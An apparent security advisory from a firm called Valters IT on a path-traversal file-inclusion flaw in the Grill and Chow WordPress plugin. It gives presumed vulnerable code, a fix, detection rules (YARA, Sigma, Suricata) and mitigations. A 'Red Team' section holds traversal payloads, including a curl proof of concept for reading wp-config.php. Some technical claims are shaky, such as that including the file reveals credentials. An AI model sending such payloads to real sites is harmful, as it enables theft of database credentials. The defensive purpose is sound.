CVE-2025-49297

Executive Summary

CVE-2025-49297 is a critical Path Traversal vulnerability (CWE-35) affecting the Qodeinteractive Grill and Chow WordPress plugin, version 1.6 and earlier. This flaw allows an unauthenticated attacker to perform PHP Local File Inclusion (LFI) by exploiting a .../...// traversal pattern. The vulnerability is classified as a WordPress ecosystem issue, not related to the underlying web server (Apache/Nginx). With a CVSS score of 8.1, it poses a high risk to confidentiality, enabling attackers to read sensitive files such as wp-config.php, /etc/passwd, or other PHP files that may contain credentials or configuration secrets. No public exploit code or proof-of-concept is currently available, but the attack vector is straightforward and requires no authentication.

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The plugin is distributed via the official WordPress plugin repository and third-party marketplaces. Users are advised to verify the integrity of their plugin installation and check for any unauthorized modifications. Since no patch is available, supply chain risk is elevated; organizations should consider removing or disabling the plugin until a fix is released.

CVSS Breakdown & Threat Level

• CVSS Score: 8.1 (High)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: None (I:N)
• Availability Impact: None (A:N)
• Threat Level: High – Exploitation is trivial and can lead to full disclosure of sensitive server files.

Deep Dive & Mechanics

The vulnerability resides in the plugin's file inclusion mechanism, likely within a shortcode or template rendering function. The plugin fails to properly sanitize user-supplied input when constructing file paths. The specific pattern .../...// bypasses typical path traversal filters that block ../ sequences. By using triple dots and double slashes, the attacker can navigate up directories and include arbitrary PHP files.

Attack Flow:

1. An unauthenticated attacker sends a crafted HTTP request to a vulnerable endpoint (e.g., ?page=.../...//wp-config.php).
2. The plugin's code processes the input without proper validation, allowing directory traversal.
3. The included PHP file is executed, potentially exposing database credentials, salts, and other secrets.
4. The attacker can then leverage these credentials for further compromise.

Root Cause: The plugin uses include() or require() with user-controlled input without applying a whitelist or canonical path check.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is presumed to be similar to:

// Vulnerable code (grillandchow <= 1.6)
$page = $_GET['page'];
include(plugin_dir_path(__FILE__) . 'templates/' . $page . '.php');

A patched version would implement strict input validation:

// Patched code (hypothetical)
$allowed_pages = ['menu', 'about', 'contact'];
$page = basename($_GET['page']);
if (in_array($page, $allowed_pages)) {
    include(plugin_dir_path(__FILE__) . 'templates/' . $page . '.php');
} else {
    wp_die('Invalid page.');
}

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A WordPress instance with Grill and Chow plugin version <= 1.6.
• No authentication required.

Exploit Steps:

1. Identify the vulnerable parameter (e.g., page, template, file).
2. Craft a payload using the .../...// pattern to traverse to sensitive files.
3. Example request:

   GET /wp-content/plugins/grillandchow/?page=.../...//.../...//wp-config HTTP/1.1
   Host: target.com
   

4. The server will include and execute wp-config.php, revealing database credentials.

Proof-of-Concept (No public exploit available):

curl -v "http://target.com/wp-content/plugins/grillandchow/?page=.../...//.../...//wp-config"

Blue Team (Defense & Detection)

Detection:

• Monitor web server logs for requests containing .../...// or multiple ../ sequences.
• Look for attempts to include wp-config.php, /etc/passwd, or other sensitive files.
• Use WAF rules to block path traversal patterns.

Honeypot:

• Deploy a fake wp-config.php that logs access and alerts.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests with URI containing .../...// or %2e%2e%2f patterns.
  • Requests to /wp-content/plugins/grillandchow/ with suspicious parameters.
• File IOCs:
  • Unexpected inclusion of /etc/passwd, wp-config.php, or other sensitive files in logs.
• System IOCs:
  • Unauthorized access to database credentials or configuration files.

Detection Engineering

YARA Rule

rule CVE_2025_49297_Grill_And_Chow_LFI {
    meta:
        description = "Detects path traversal attempts targeting Grill and Chow plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-49297"
    strings:
        $traversal1 = ".../...//"
        $traversal2 = "..%2f..%2f"
        $plugin_path = "wp-content/plugins/grillandchow"
    condition:
        any of ($traversal*) and $plugin_path
}

Sigma Rule

title: CVE-2025-49297 Grill and Chow Path Traversal
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects path traversal attempts against Grill and Chow WordPress plugin
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-uri-query|contains:
            - ".../...//"
            - "..%2f..%2f"
        cs-uri-stem|contains: "/wp-content/plugins/grillandchow/"
    condition: selection
falsepositives:
    - Legitimate use of similar patterns (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-49297 Grill and Chow LFI Attempt"; flow:to_server,established; content:"/wp-content/plugins/grillandchow/"; http_uri; content:".../...//"; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released by the vendor.
2. Implement a Web Application Firewall (WAF) rule to block .../...// patterns.
3. Restrict file inclusion via server configuration (e.g., disable allow_url_include in PHP).

Long-term Fix:

• Monitor the vendor's website for an official update.
• Consider replacing the plugin with an alternative that is actively maintained.
• Conduct a security audit of all WordPress plugins in use.

Workaround:

• Add the following to .htaccess to block malicious requests:

  RewriteEngine On
  RewriteCond %{QUERY_STRING} (\.\./|\.\.%2f) [NC]
  RewriteRule ^wp-content/plugins/grillandchow/ - [F,L]
  

Valters IT
Securing Digital Frontiers